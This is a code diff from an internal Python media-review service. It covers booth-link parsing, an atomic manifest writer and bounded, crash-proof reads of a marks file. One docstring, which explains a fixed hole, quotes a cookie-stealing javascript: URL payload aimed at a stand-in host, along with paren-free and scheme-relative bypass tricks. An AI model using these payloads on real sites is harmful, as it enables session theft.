# Counted over items that RENDER: a caption sidecar or a name
|
||||
# the quote() guard skipped takes no number, so the numbers
|
||||
# stay contiguous over what the operator can see.
|
||||
ordinal=len(items) + 1,
|
||||
thumb=(quote(rel, safe='/') + '?thumb=1') if wants_thumb(rel) else None,
|
||||
blurred_self=rel in blurred,
|
||||
)
|
||||
)
|
||||
return items
|
||||
@@ -221,6 +480,18 @@ def image_chain(items: Sequence[Item]) -> list[str]:
|
||||
return [it.rel for it in items if it.kind == "image"]
|
||||
|
||||
|
||||
# R2 C2: what the review route steps through. ONE LINE: the item order
|
||||
# filtered to media. It is a declared change to the zoom-ring rule, which was
|
||||
# images only: a listening set is reviewed the same way a picture set is.
|
||||
REVIEW_KINDS = ("image", "video", "audio")
|
||||
|
||||
|
||||
def review_chain(items: Sequence[Item]) -> list[str]:
|
||||
"""The rels of the media items, in item order — the review's prev/next ring,
|
||||
its filmstrip and its tape."""
|
||||
return [it.rel for it in items if it.kind in REVIEW_KINDS]
|
||||
|
||||
|
||||
def find_item(items: Sequence[Item], rel: str) -> Item | None:
|
||||
"""The record for one rel, or None — the zoom/doc route's entry point."""
|
||||
for it in items:
|
||||
@@ -229,6 +500,17 @@ def find_item(items: Sequence[Item], rel: str) -> Item | None:
|
||||
return None
|
||||
|
||||
|
||||
def image_dims(booth: Path, item: Item) -> tuple[int, int] | None:
|
||||
"""(width, height) of an image item as the browser draws it, or None.
|
||||
|
||||
A SEPARATE STEP, like `render_doc_body` below and for its reason: the Desk
|
||||
calls `booth_items` for every booth, and reading a header per picture there
|
||||
would be the cost of a fact only the gallery's tiles use (as S5c, G14)."""
|
||||
if item.kind != "image":
|
||||
return None
|
||||
return drawn_size(booth / item.rel)
|
||||
|
||||
|
||||
def render_doc_body(booth: Path, item: Item) -> tuple[str, bool] | None:
|
||||
"""(body, is_html) for a doc item under DOC_MAX_BYTES, else None.
|
||||
|
||||
|
||||
+98
-1
@@ -14,6 +14,7 @@ import hashlib
|
||||
import os
|
||||
import re
|
||||
from pathlib import Path
|
||||
from urllib.parse import unquote, urlsplit
|
||||
|
||||
# ---- the standing link board ------------------------------------------------
|
||||
#
|
||||
@@ -59,6 +60,44 @@ def link_entry_id(raw: str) -> str:
|
||||
return hashlib.sha1(raw.strip().encode()).hexdigest()[:8]
|
||||
|
||||
|
||||
def is_safe_href(url: str) -> bool:
|
||||
"""Whether a board URL may be rendered as an `href` at all.
|
||||
|
||||
⚠ A LIVE VECTOR UNTIL 2026-09-23. Seventeen agent handles append to the
|
||||
standing board and the operator clicks its rows, and nothing guarded the
|
||||
scheme: `javascript:document.location='http://evil.test/'+document.cookie`
|
||||
rendered as a clickable link in the Booth's own origin. Found by design-dev
|
||||
on the way past R2, in code R2 does not touch.
|
||||
|
||||
⚠ AND THE OBVIOUS PROBE MISSES IT. `javascript:alert(1)` IS refused — by
|
||||
the markdown link regex, because the parens break `](...)`. That is an
|
||||
accident, not a guard, and a paren-free payload sails straight through. Do
|
||||
not re-test this with a payload that contains brackets.
|
||||
|
||||
`booth_target` already tests the scheme, but for a DIFFERENT question —
|
||||
which booth a URL names — so it refuses every off-board link too and cannot
|
||||
serve as this guard.
|
||||
|
||||
NEVER RAISES: a board row is arbitrary agent-written text and a predicate
|
||||
that raises on one row takes the whole page.
|
||||
|
||||
A backslash is read as a SLASH first, because a browser does that in an
|
||||
http(s) URL: `/\\evil.test` is `//evil.test` to it, and passed here as a
|
||||
relative path until 2026-09-28 (heid bug-hunt, groa). This predicate also
|
||||
guards every link in a markdown doc (`booth.items`).
|
||||
"""
|
||||
try:
|
||||
parts = urlsplit((url or "").strip().replace("\\", "/"))
|
||||
except (ValueError, UnicodeDecodeError):
|
||||
return False
|
||||
# Scheme-relative (`//evil.test/x`) parses with an EMPTY scheme and a netloc,
|
||||
# and navigates off-site while looking like a path. An empty scheme is only
|
||||
# safe when it is genuinely relative.
|
||||
if not parts.scheme:
|
||||
return not parts.netloc
|
||||
return parts.scheme.lower() in ("http", "https")
|
||||
|
||||
|
||||
def parse_link_entries(text: str) -> list[dict]:
|
||||
"""Rows of the standing link board, newest last (posting order).
|
||||
|
||||
@@ -78,6 +117,8 @@ def parse_link_entries(text: str) -> list[dict]:
|
||||
"line": i,
|
||||
"desc": (m.group("desc") or "").strip(),
|
||||
"url": (m.group("url") or "").strip(),
|
||||
# Derived ONCE here; no template decides whether a row is a link.
|
||||
"safe": is_safe_href(m.group("url") or ""),
|
||||
"who": (m.group("who") or "").strip(),
|
||||
"when": (m.group("when") or "").strip(),
|
||||
})
|
||||
@@ -108,7 +149,8 @@ def remove_link_entry(board: Path, entry_id: str) -> dict | None:
|
||||
if m:
|
||||
removed = {"id": entry_id, "raw": raw.rstrip("\n"),
|
||||
"desc": (m.group("desc") or "").strip(),
|
||||
"url": (m.group("url") or "").strip()}
|
||||
"url": (m.group("url") or "").strip(),
|
||||
"safe": is_safe_href(m.group("url") or "")}
|
||||
continue
|
||||
kept.append(raw)
|
||||
if removed is None:
|
||||
@@ -194,3 +236,58 @@ def order_for_display(entries: list[dict], pinned: set[str]) -> list[dict]:
|
||||
stamped = [{**e, "pinned": e["id"] in pinned} for e in entries]
|
||||
stamped.reverse() # newest first
|
||||
return [e for e in stamped if e["pinned"]] + [e for e in stamped if not e["pinned"]]
|
||||
|
||||
|
||||
# ---- what counts as a booth link -------------------------------------------
|
||||
|
||||
|
||||
def booth_target(url: str) -> str | None:
|
||||
"""The booth NAME a URL points at, or None when it is not a booth link.
|
||||
|
||||
ONE PREDICATE, THREE CALLERS — the CLI's `link` refusal, the board's
|
||||
dead-row marker, and `bench import`'s classifier. They must agree: a rule
|
||||
that refuses a shape the board then fails to mark as dead (or the reverse)
|
||||
is two readers of one truth, which is the bug this repo has now paid for
|
||||
three times. `tests/test_benches.py` runs one table through every caller.
|
||||
|
||||
HOST-AGNOSTIC AND PATH-SHAPED. A row is a booth link when its path is
|
||||
`/b/<name>` or `/b/<name>/...`, whatever the host. NOT a host allowlist: the
|
||||
fleet reaches this service as `10.100.10.50:8090`, `localhost:8090` and
|
||||
`nh3-dev.nh3.internal:8090`, and an allowlist would silently fail to refuse
|
||||
from whichever name somebody used next — a rule that fails OPEN on the exact
|
||||
case it exists to catch. The accepted cost is that a third-party URL with a
|
||||
`/b/<x>` path reads as a booth link; that failure is visible (a refusal
|
||||
naming the reason) rather than silent, and no such URL is on the board.
|
||||
|
||||
THE NAME SEGMENT IS PERCENT-DECODED. `app.py` emits booth links through
|
||||
`quote(name, safe="")`, so a booth whose name needs encoding appears on the
|
||||
board encoded. Comparing the raw segment against a directory name would mark
|
||||
every such booth permanently dead and echo the encoded form back at the
|
||||
poster in the refusal message.
|
||||
|
||||
The returned name passes the SAME addressability rules `resolve_booth`
|
||||
enforces (non-empty, no leading dot, no separator, no `..`), so the two
|
||||
cannot disagree about what is reachable.
|
||||
|
||||
NEVER RAISES. A board row is arbitrary operator-editable text; a predicate
|
||||
that raises on one row takes the whole page.
|
||||
"""
|
||||
try:
|
||||
parts = urlsplit((url or "").strip())
|
||||
if parts.scheme.lower() not in ("http", "https"):
|
||||
return None
|
||||
segments = parts.path.split("/")
|
||||
if len(segments) < 3 or segments[1] != "b":
|
||||
return None
|
||||
name = unquote(segments[2])
|
||||
except (ValueError, UnicodeDecodeError):
|
||||
return None
|
||||
if not name or name.startswith(".") or "/" in name or "\\" in name or ".." in name:
|
||||
return None
|
||||
# `unquote` will happily hand back a NUL or a newline, and neither can name
|
||||
# a directory. Unfiltered they reach `is_dir()` (ValueError on an embedded
|
||||
# NUL, which is NOT an OSError and so escapes the marker's guard), the
|
||||
# refusal message the CLI prints, and the marker the board renders.
|
||||
if any(ch in name for ch in "\x00") or any(ord(ch) < 0x20 for ch in name):
|
||||
return None
|
||||
return name
|
||||
|
||||
@@ -0,0 +1,274 @@
|
||||
"""A booth's own announcement — who posted it, and why.
|
||||
|
||||
U5. The index card used to show a name, an item count and a countdown, and
|
||||
nothing the poster chose. An agent with something to show therefore had no way
|
||||
to make the booth say "look at this" and posted a URL to the link board
|
||||
instead — which is why 145 of that board's 210 rows (69%) ended up pointing at
|
||||
booths that had already been swept. The board was absorbing a job it was never
|
||||
shaped for. This is the shape.
|
||||
|
||||
.booth.json -> {"handle": ..., "title": ..., "why": ..., "created": ...}
|
||||
|
||||
⚠ STDLIB ONLY, and it imports nothing from `booth.*` either.
|
||||
|
||||
`scripts/booth` — the CLI every fleet session uses — imports this module
|
||||
directly under the system `python3` with no venv, through a `python3 -c`
|
||||
heredoc no AST extractor can see. A single third-party import here breaks
|
||||
`booth new` and `booth add` on every host, and the failure surfaces in an
|
||||
agent's session rather than in ours. The ban extends to sibling `booth` modules:
|
||||
importing `marks` to reuse its atomic write would drag marks' own import list
|
||||
into this one's, so the four-line pattern is copied instead. `test_stdlib_only`
|
||||
in tests/test_manifest.py is the only thing standing here.
|
||||
|
||||
Contract: docs/contracts/u5_booth_manifest.contract.md.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import secrets
|
||||
import stat as statmod
|
||||
from dataclasses import dataclass
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
MANIFEST_FILE = ".booth.json"
|
||||
|
||||
# A `why` renders inside a card's sub-line, so it is one line by construction
|
||||
# rather than by convention — enforced at the WRITE so nothing downstream has to
|
||||
# remember. The caps are display budgets, not storage limits.
|
||||
HANDLE_MAX = 64
|
||||
TITLE_MAX = 120
|
||||
WHY_MAX = 200
|
||||
CREATED_MAX = 64
|
||||
|
||||
# A manifest is four short fields. Anything near this is not one, and reading it
|
||||
# into memory to find that out is the wrong order of operations: `list_booths`
|
||||
# calls the reader once per booth on every index load, so an unbounded read is
|
||||
# the service-wide outage the lenient reader exists to prevent, arriving in a
|
||||
# different costume. Checked by `stat`, before the bytes are touched.
|
||||
MANIFEST_MAX_BYTES = 64 * 1024
|
||||
|
||||
# Where bytes that could not be read go when a re-announcement replaces them.
|
||||
# ONE fixed name, deliberately: a timestamped quarantine accumulates forever in
|
||||
# a folder nothing prunes, and the most recent damage is the only copy anybody
|
||||
# would look at. A dotfile, so it is invisible to every listing and zip.
|
||||
QUARANTINE_FILE = ".booth.json.broken"
|
||||
|
||||
# The handle a booth created by the service itself carries. A pickup booth and
|
||||
# the standing link board are made by the Booth, not by an agent, and saying so
|
||||
# is true rather than manufactured — which is the whole reason there is no
|
||||
# exemption list. One rule: a booth with no manifest is unannounced.
|
||||
SERVICE_HANDLE = "booth"
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Manifest:
|
||||
"""One booth's announcement.
|
||||
|
||||
`handle` is an althing agent handle, or `SERVICE_HANDLE` for a booth the
|
||||
Booth made. `error` is a read-time verdict and is never stored.
|
||||
"""
|
||||
|
||||
handle: str
|
||||
title: str
|
||||
why: str
|
||||
created: str
|
||||
error: str | None = None
|
||||
|
||||
|
||||
def _one_line(value, limit: int) -> str:
|
||||
"""One line, bounded. Collapses ALL runs of whitespace, not only newlines —
|
||||
a tab or a forty-space indent in a `why` renders as badly inside a card's
|
||||
sub-line as a newline does, and the field is one line by construction."""
|
||||
if not isinstance(value, str):
|
||||
return ""
|
||||
return " ".join(value.split())[:limit]
|
||||
|
||||
|
||||
def _temp_path(booth: Path) -> Path:
|
||||
"""A scratch name no other writer will pick.
|
||||
|
||||
Every writer used to derive the same `.booth.json.tmp`, so two `booth add`
|
||||
calls on one booth could interleave through a stale descriptor into the
|
||||
published path. Marks are protected from that by their flock; the manifest
|
||||
deliberately has none — it is written once at creation, not read-modify-
|
||||
written per click — so uniqueness is what stands in for the lock. Still a
|
||||
dotfile, so no listing, gallery or zip can see it mid-write.
|
||||
"""
|
||||
return booth / f"{MANIFEST_FILE}.{secrets.token_hex(4)}.tmp"
|
||||
|
||||
|
||||
def _as_doc(m: "Manifest") -> dict:
|
||||
"""The stored shape of a record, for the no-op comparison."""
|
||||
return {"handle": m.handle, "title": m.title, "why": m.why, "created": m.created}
|
||||
|
||||
|
||||
def _now() -> str:
|
||||
return datetime.now().astimezone().isoformat(timespec="seconds")
|
||||
|
||||
|
||||
def read_manifest(booth: Path) -> Manifest | None:
|
||||
"""This booth's announcement, or None if it never made one.
|
||||
|
||||
LENIENT, AND IT NEVER RAISES (INV-2). `list_booths` calls this once per
|
||||
booth on every index page load, so a read that can raise is a service-wide
|
||||
outage wearing a single-booth bug's clothes. That is not hypothetical: a
|
||||
poisoned `.marks.json` did exactly that to `/` and `/healthz` across all 25
|
||||
live booths, and the fix shipped in v0.2.2. Same posture, applied before the
|
||||
same mistake rather than after it.
|
||||
|
||||
Absent -> None. Present but unreadable -> a Manifest carrying `error`, so a
|
||||
card can say `unreadable` instead of quietly showing the same thing as a
|
||||
booth that never announced (INV-5). Folding the two together would hide the
|
||||
one case somebody has to go and fix.
|
||||
|
||||
Only `handle` is required. A hand-written manifest is a supported input —
|
||||
the file is plain JSON in a folder the operator owns, and half the point of
|
||||
the Booth is that a booth is just a directory.
|
||||
"""
|
||||
booth = Path(booth)
|
||||
path = booth / MANIFEST_FILE
|
||||
# BOUNDED BEFORE THE READ. "Never raises" was not true of an unbounded one:
|
||||
# a 4 GB file raises MemoryError and a deeply nested document raises
|
||||
# RecursionError out of `json.loads`, and neither is an OSError or a
|
||||
# ValueError. Both escape into `list_booths`, which calls this per booth on
|
||||
# every index load — so one file returns 500 for the whole front page. Size
|
||||
# first, by `stat`; then catch the two classes anyway, because a bound that
|
||||
# is one day raised should not quietly re-open the hole.
|
||||
try:
|
||||
st = path.stat()
|
||||
except FileNotFoundError:
|
||||
return None
|
||||
except OSError as exc:
|
||||
return _broken(booth, f"cannot be read: {exc}")
|
||||
# ⚠ REGULAR-FILE FIRST, then size. `st_size` answers a different question
|
||||
# than "can this be read": it is 0 for a FIFO and 0 for /dev/zero, so both
|
||||
# sail under the cap, and then `read_text` either blocks forever with no EOF
|
||||
# or allocates until the kernel intervenes. The bound ABOVE is what made
|
||||
# this reachable — a cap that trusts st_size inherits everything st_size
|
||||
# does not mean. One such file stalls every `GET /` and `/healthz`.
|
||||
if not statmod.S_ISREG(st.st_mode):
|
||||
return _broken(booth, "is not a regular file")
|
||||
if st.st_size > MANIFEST_MAX_BYTES:
|
||||
return _broken(booth, f"is too large to be a manifest ({st.st_size} bytes)")
|
||||
try:
|
||||
text = path.read_text(encoding="utf-8")
|
||||
except FileNotFoundError:
|
||||
return None
|
||||
except (OSError, UnicodeDecodeError, MemoryError) as exc:
|
||||
return _broken(booth, f"cannot be read: {exc}")
|
||||
if not text.strip():
|
||||
return _broken(booth, "is empty")
|
||||
try:
|
||||
raw = json.loads(text)
|
||||
except (ValueError, RecursionError, MemoryError) as exc:
|
||||
return _broken(booth, f"is not valid JSON: {type(exc).__name__}")
|
||||
if not isinstance(raw, dict):
|
||||
return _broken(booth, "is not a JSON object")
|
||||
|
||||
handle = _one_line(raw.get("handle"), HANDLE_MAX)
|
||||
if not handle:
|
||||
return _broken(booth, "names no handle")
|
||||
return Manifest(
|
||||
handle=handle,
|
||||
# `or booth.name` goes THROUGH the normalizer too. A directory name may
|
||||
# legally carry a newline on POSIX and may run to 255 bytes, and the
|
||||
# fallback used to hand either straight into a card's sub-line.
|
||||
title=_one_line(raw.get("title"), TITLE_MAX) or _one_line(booth.name, TITLE_MAX),
|
||||
why=_one_line(raw.get("why"), WHY_MAX),
|
||||
created=_one_line(raw.get("created"), CREATED_MAX),
|
||||
)
|
||||
|
||||
|
||||
def _broken(booth: Path, reason: str) -> Manifest:
|
||||
# The directory name goes through the normalizer here too. This was the
|
||||
# THIRD fallback of three; the write path's and the read path's were fixed a
|
||||
# round earlier and this one was missed, with the same consequence — a
|
||||
# newline or 255 bytes of directory name straight into a card's sub-line.
|
||||
return Manifest(handle="", title=_one_line(booth.name, TITLE_MAX), why="",
|
||||
created="", error=f"{MANIFEST_FILE} {reason}")
|
||||
|
||||
|
||||
def write_manifest(booth: Path, handle: str, *, title: str | None = None,
|
||||
why: str | None = None) -> Manifest:
|
||||
"""Announce a booth, atomically (CLAUDE.md invariant 5).
|
||||
|
||||
Temp file + `os.replace`, because the CLI writes this in one process while
|
||||
the browser reads it in another — a reader must never see a half-written
|
||||
document. The temp file is itself a dotfile, so no listing, gallery or zip
|
||||
can see it mid-write either.
|
||||
|
||||
OMITTED MEANS UNCHANGED; `""` MEANS CLEAR. `title` and `why` default to
|
||||
None, not to the empty string, because the ordinary sequence is
|
||||
`booth new x --why "..."` and then `booth add x out/*.png` — and while
|
||||
omission meant empty, that second command silently erased the sentence the
|
||||
first one existed to record. Two arms of the contract panel predicted it
|
||||
from the wording alone; every test written for this module passed `--why`
|
||||
on both calls and so could not see it.
|
||||
|
||||
RE-ANNOUNCING PRESERVES `created` (INV-3). It is when the booth APPEARED,
|
||||
and saying something more about it later is not a second appearance. A
|
||||
`created` that cannot be read back is replaced rather than guessed at: a
|
||||
stamp that is silently wrong is worse than one that is silently new.
|
||||
|
||||
An empty `handle` becomes `SERVICE_HANDLE` rather than being refused — a
|
||||
manifest with no handle does not read back at all, and an unreadable file is
|
||||
the worse outcome. Unreachable from the CLI, whose fallback chain always
|
||||
yields something; callers of this function directly should pass a real one.
|
||||
"""
|
||||
booth = Path(booth)
|
||||
booth.mkdir(parents=True, exist_ok=True)
|
||||
prior = read_manifest(booth)
|
||||
usable = prior if prior and not prior.error else None
|
||||
created = usable.created if usable and usable.created else _now()
|
||||
|
||||
record = Manifest(
|
||||
handle=_one_line(handle, HANDLE_MAX) or SERVICE_HANDLE,
|
||||
title=(_one_line(title, TITLE_MAX) if title is not None
|
||||
else (usable.title if usable else "")) or _one_line(booth.name, TITLE_MAX),
|
||||
why=(_one_line(why, WHY_MAX) if why is not None
|
||||
else (usable.why if usable else "")),
|
||||
created=created,
|
||||
)
|
||||
path = booth / MANIFEST_FILE
|
||||
doc = {"handle": record.handle, "title": record.title,
|
||||
"why": record.why, "created": record.created}
|
||||
|
||||
# A write that changes nothing is not activity and must not reset the
|
||||
# booth's TTL — the rule marks learned in v0.2.0, applied here because
|
||||
# `booth link` re-announces the standing board on EVERY post to it.
|
||||
if prior is not None and not prior.error and _as_doc(prior) == doc:
|
||||
return record
|
||||
|
||||
# NOTHING THAT COULD NOT BE READ IS DESTROYED. Reads stay lenient, writes
|
||||
# go strict, damaged bytes stay on disk — the doctrine marks made explicit
|
||||
# in v0.2.1, which this write path contradicted by replacing them outright.
|
||||
# A file that fails on ONE field still holds the others, and a `why` the
|
||||
# re-announcer never kept anywhere is exactly what went missing.
|
||||
#
|
||||
# QUARANTINED rather than REFUSED, which is where this diverges from marks:
|
||||
# refusing would fail `booth add` and lose the files it was mid-way through
|
||||
# copying, and a booth's own description is restatable in a way the
|
||||
# operator's judgment is not.
|
||||
if prior is not None and prior.error:
|
||||
try:
|
||||
os.replace(path, booth / QUARANTINE_FILE)
|
||||
except OSError:
|
||||
pass # nothing to preserve beats failing the write
|
||||
|
||||
tmp = _temp_path(booth)
|
||||
try:
|
||||
tmp.write_text(
|
||||
json.dumps(doc, ensure_ascii=False, indent=2) + "\n",
|
||||
encoding="utf-8",
|
||||
)
|
||||
os.replace(tmp, path)
|
||||
except BaseException:
|
||||
# A leaked temp is worse here than it would be with a fixed name: the
|
||||
# unique suffix means nothing ever overwrites it, and it is not a
|
||||
# `.lock`, so `_newest_mtime` counts it and it keeps a dead booth alive
|
||||
# forever. Cleaning up is the price of the uniqueness.
|
||||
tmp.unlink(missing_ok=True)
|
||||
raise
|
||||
return record
|
||||
+261
-22
@@ -42,6 +42,7 @@ from __future__ import annotations
|
||||
import fcntl
|
||||
import json
|
||||
import os
|
||||
import stat as statmod
|
||||
from dataclasses import asdict, dataclass, field
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
@@ -73,6 +74,14 @@ class MarksCorrupt(RuntimeError):
|
||||
"""
|
||||
|
||||
|
||||
# A booth's whole judgment lives in one document, so this is generous — a
|
||||
# 270-item booth flagged throughout, with notes, is far under it. What it rules
|
||||
# out is the case that is not marks at all: an unbounded read raises MemoryError
|
||||
# and a deeply nested one raises RecursionError out of `json.loads`, neither of
|
||||
# which is an OSError or a ValueError, and `list_booths` calls the reader once
|
||||
# per booth on every index load. Bounded by `stat`, before the bytes are read.
|
||||
MARKS_MAX_BYTES = 4 * 1024 * 1024
|
||||
|
||||
MARKS_FILE = ".marks.json"
|
||||
MARKS_LOCK = ".marks.lock"
|
||||
SCHEMA_VERSION = 1
|
||||
@@ -126,7 +135,17 @@ class Mark:
|
||||
|
||||
|
||||
def now_stamp() -> str:
|
||||
return datetime.now().astimezone().isoformat(timespec="seconds")
|
||||
"""ONE stamp format across every writer in this module.
|
||||
|
||||
MICROSECONDS, matching `import_legacy_asks`. They diverged when the
|
||||
importer was moved to sub-second precision to stop same-second sidecars
|
||||
re-sorting — and the divergence opened a fresh ordering bug in the other
|
||||
direction, because `-` (0x2D) sorts before `.` (0x2E): a whole-second stamp
|
||||
lands ahead of ANY fractional stamp in the same second, so a later mark came
|
||||
out before an earlier import. Marks sort on `(created, id)`; one format is
|
||||
what makes that rule statable.
|
||||
"""
|
||||
return datetime.now().astimezone().isoformat(timespec="microseconds")
|
||||
|
||||
|
||||
def _clean_text(text) -> str:
|
||||
@@ -173,9 +192,17 @@ def _read_raw(booth: Path) -> list[dict]:
|
||||
for the same reason: a review surface that will not load is worse than one
|
||||
that has lost an annotation.
|
||||
"""
|
||||
path = Path(booth) / MARKS_FILE
|
||||
try:
|
||||
raw = json.loads((Path(booth) / MARKS_FILE).read_text(encoding="utf-8"))
|
||||
except (OSError, ValueError, UnicodeDecodeError):
|
||||
st = path.stat()
|
||||
# Regular-file first, then size. `st_size` is 0 for a FIFO and 0 for a
|
||||
# symlink to /dev/zero, so both pass a byte cap and then `read_text`
|
||||
# either blocks with no EOF or allocates until the kernel intervenes.
|
||||
# This loop runs over EVERY booth on every index load.
|
||||
if not statmod.S_ISREG(st.st_mode) or st.st_size > MARKS_MAX_BYTES:
|
||||
return []
|
||||
raw = json.loads(path.read_text(encoding="utf-8"))
|
||||
except (OSError, ValueError, UnicodeDecodeError, RecursionError, MemoryError):
|
||||
return []
|
||||
if not isinstance(raw, dict):
|
||||
return []
|
||||
@@ -190,26 +217,51 @@ def _fingerprint(entries: list[dict]) -> str:
|
||||
return json.dumps(entries, sort_keys=True, ensure_ascii=False)
|
||||
|
||||
|
||||
def _read_raw_strict(booth: Path) -> list[dict]:
|
||||
def _read_raw_strict(booth: Path, *, blank_is_corrupt: bool = False) -> list[dict]:
|
||||
"""Like `_read_raw`, but RAISES `MarksCorrupt` on a file it cannot parse.
|
||||
|
||||
Absent, empty and valid-but-empty are all "no marks yet" and are fine — the
|
||||
distinction that matters is bytes-present-but-unreadable, because that is the
|
||||
case where writing would destroy something.
|
||||
|
||||
`blank_is_corrupt` is the DELETE path's reading of a present-but-whitespace
|
||||
file, and only the delete path's: this writer never produces a blank marks
|
||||
document, so a blank one that exists is something that went wrong, and
|
||||
`rmtree` is not the response to that. The write path keeps the lenient
|
||||
reading — a blank file is safe to overwrite, which is the question
|
||||
`_Locked` is asking. A VALID document with an empty `marks` list is not
|
||||
blank and never holds: that is what deleting the last mark leaves behind,
|
||||
and it must stay sweepable.
|
||||
"""
|
||||
path = Path(booth) / MARKS_FILE
|
||||
try:
|
||||
st = path.stat()
|
||||
except FileNotFoundError:
|
||||
return []
|
||||
except OSError as exc:
|
||||
raise MarksCorrupt(f"{path} cannot be read: {exc}") from exc
|
||||
# The strict half has to refuse everything the lenient half tolerates, or a
|
||||
# file that reads as "no marks" gets replaced by a write that believed it.
|
||||
if not statmod.S_ISREG(st.st_mode):
|
||||
raise MarksCorrupt(f"{path} is not a regular file")
|
||||
if st.st_size > MARKS_MAX_BYTES:
|
||||
raise MarksCorrupt(
|
||||
f"{path} is too large to be a marks document ({st.st_size} bytes)")
|
||||
try:
|
||||
text = path.read_text(encoding="utf-8")
|
||||
except FileNotFoundError:
|
||||
return []
|
||||
except (OSError, UnicodeDecodeError) as exc:
|
||||
except (OSError, UnicodeDecodeError, MemoryError) as exc:
|
||||
raise MarksCorrupt(f"{path} cannot be read: {exc}") from exc
|
||||
if not text.strip():
|
||||
if blank_is_corrupt:
|
||||
raise MarksCorrupt(f"{path} is present but holds no marks document")
|
||||
return []
|
||||
try:
|
||||
raw = json.loads(text)
|
||||
except ValueError as exc:
|
||||
raise MarksCorrupt(f"{path} is not valid JSON: {exc}") from exc
|
||||
except (ValueError, RecursionError, MemoryError) as exc:
|
||||
raise MarksCorrupt(
|
||||
f"{path} is not valid JSON: {type(exc).__name__}") from exc
|
||||
if not isinstance(raw, dict) or not isinstance(raw.get("marks"), list):
|
||||
raise MarksCorrupt(f"{path} is not a marks document")
|
||||
entries = [e for e in raw["marks"] if isinstance(e, dict) and isinstance(e.get("id"), str)]
|
||||
@@ -218,14 +270,41 @@ def _read_raw_strict(booth: Path) -> list[dict]:
|
||||
return entries
|
||||
|
||||
|
||||
def read_error(booth: Path) -> str | None:
|
||||
"""Why this booth's marks cannot be read, or None if they can.
|
||||
|
||||
`marks_for` is lenient on purpose — a review page that will not load is
|
||||
worse than one missing an annotation — and that leniency turns an
|
||||
unreadable file into "no marks". For a BROWSER that is the right trade. For
|
||||
the CLI it is not: a session that asked a question and is told "no such
|
||||
pick" will conclude the question was never posted, when in fact the file
|
||||
holding it is damaged. A machine consumer can act on the difference, so it
|
||||
gets to ask.
|
||||
"""
|
||||
try:
|
||||
_read_raw_strict(booth)
|
||||
except MarksCorrupt as exc:
|
||||
return str(exc)
|
||||
return None
|
||||
|
||||
|
||||
def _write_raw(booth: Path, entries: list[dict]) -> None:
|
||||
"""Atomic replace, so a reader never sees a half-written document and a
|
||||
crash mid-write cannot truncate the file into a shorter — and therefore
|
||||
quieter — set of marks."""
|
||||
path = Path(booth) / MARKS_FILE
|
||||
doc = {"version": SCHEMA_VERSION, "marks": entries}
|
||||
body = json.dumps(doc, ensure_ascii=False, indent=2) + "\n"
|
||||
# The read bound is on the STORED bytes and `indent=2` grows them, so a
|
||||
# document that fits in memory can land over the limit on disk and then read
|
||||
# back as no marks at all. Refuse loudly instead: a write that fails is
|
||||
# recoverable, a file that silently empties is not.
|
||||
if len(body.encode("utf-8")) > MARKS_MAX_BYTES:
|
||||
raise MarksCorrupt(
|
||||
f"{path} would be larger than this version can read back "
|
||||
f"({len(body.encode('utf-8'))} bytes)")
|
||||
tmp = path.with_suffix(path.suffix + ".tmp")
|
||||
tmp.write_text(json.dumps(doc, ensure_ascii=False, indent=2) + "\n", encoding="utf-8")
|
||||
tmp.write_text(body, encoding="utf-8")
|
||||
os.replace(tmp, path)
|
||||
|
||||
|
||||
@@ -249,12 +328,48 @@ class _Locked:
|
||||
self.booth.mkdir(parents=True, exist_ok=True)
|
||||
lock = self.booth / MARKS_LOCK
|
||||
# `touch(exist_ok=True)` on an EXISTING file bumps its mtime, and a
|
||||
# booth's TTL is measured from its newest mtime including dotfiles — so
|
||||
# an unconditional touch would keep a booth alive just for being read
|
||||
# through a write path. Create it only when it is not there.
|
||||
# booth's TTL is measured from its newest mtime — so an unconditional
|
||||
# touch would keep a booth alive just for being read through a write
|
||||
# path. Create it only when it is not there.
|
||||
#
|
||||
# ONCE CREATED, THE LOCK FILE IS NEVER REMOVED (see __exit__).
|
||||
if not lock.exists():
|
||||
# Creating a directory entry bumps the DIRECTORY's mtime, which is
|
||||
# what `_newest_mtime` reads. An earlier version put the clock back
|
||||
# with `os.utime` — which closed the bug and opened a race: the
|
||||
# restore ran before the flock, so anything landing in the window
|
||||
# between the stat and the utime had its bump rolled backward. An
|
||||
# `rsync -a` batch is the case that bites, because it PRESERVES
|
||||
# source mtimes and so has only the directory's freshness to look
|
||||
# alive by. It could also raise OSError on a read-only directory
|
||||
# and take the route down with it.
|
||||
#
|
||||
# THE RESTORE STAYS, and the honest reason is that the alternative
|
||||
# was worse. Ignoring a booth directory's own mtime whenever the
|
||||
# booth holds anything would close the race outright — and would
|
||||
# also silently retire the documented behaviour that RELEASING a
|
||||
# kept board resets its clock, which the CLI header, the README and
|
||||
# a deliberate test all pin. That is a TTL doctrine change, not a
|
||||
# bug fix, and it does not belong in one.
|
||||
#
|
||||
# ⚠ RESIDUAL RACE, stated rather than papered over: between the stat
|
||||
# and the utime, another writer's directory-entry change can be
|
||||
# rolled backward. The case that bites is an `rsync -a` batch, which
|
||||
# preserves source mtimes and so has only the directory's freshness
|
||||
# to look alive by. The window is the two syscalls below and the
|
||||
# booth must also be one being written to at that instant.
|
||||
#
|
||||
# The concrete half IS fixed: a failing utime (read-only directory,
|
||||
# a booth whose owner we are not) used to escape and take the whole
|
||||
# route down with a 500. Not putting the clock back is a cost this
|
||||
# module can absorb; not answering the request is not.
|
||||
before = self.booth.stat()
|
||||
lock.touch()
|
||||
self._made_lock = True
|
||||
try:
|
||||
os.utime(self.booth, (before.st_atime, before.st_mtime))
|
||||
except OSError:
|
||||
pass
|
||||
self._lf = lock.open("r+")
|
||||
fcntl.flock(self._lf, fcntl.LOCK_EX)
|
||||
try:
|
||||
@@ -264,8 +379,6 @@ class _Locked:
|
||||
fcntl.flock(self._lf, fcntl.LOCK_UN)
|
||||
self._lf.close()
|
||||
self._lf = None
|
||||
if self._made_lock:
|
||||
lock.unlink(missing_ok=True)
|
||||
raise
|
||||
self._before = _fingerprint(self.entries)
|
||||
return self
|
||||
@@ -284,10 +397,17 @@ class _Locked:
|
||||
# would otherwise keep a dead booth alive forever.
|
||||
if exc_type is None and _fingerprint(self.entries) != self._before:
|
||||
_write_raw(self.booth, self.entries)
|
||||
elif self._made_lock and not (self.booth / MARKS_FILE).exists():
|
||||
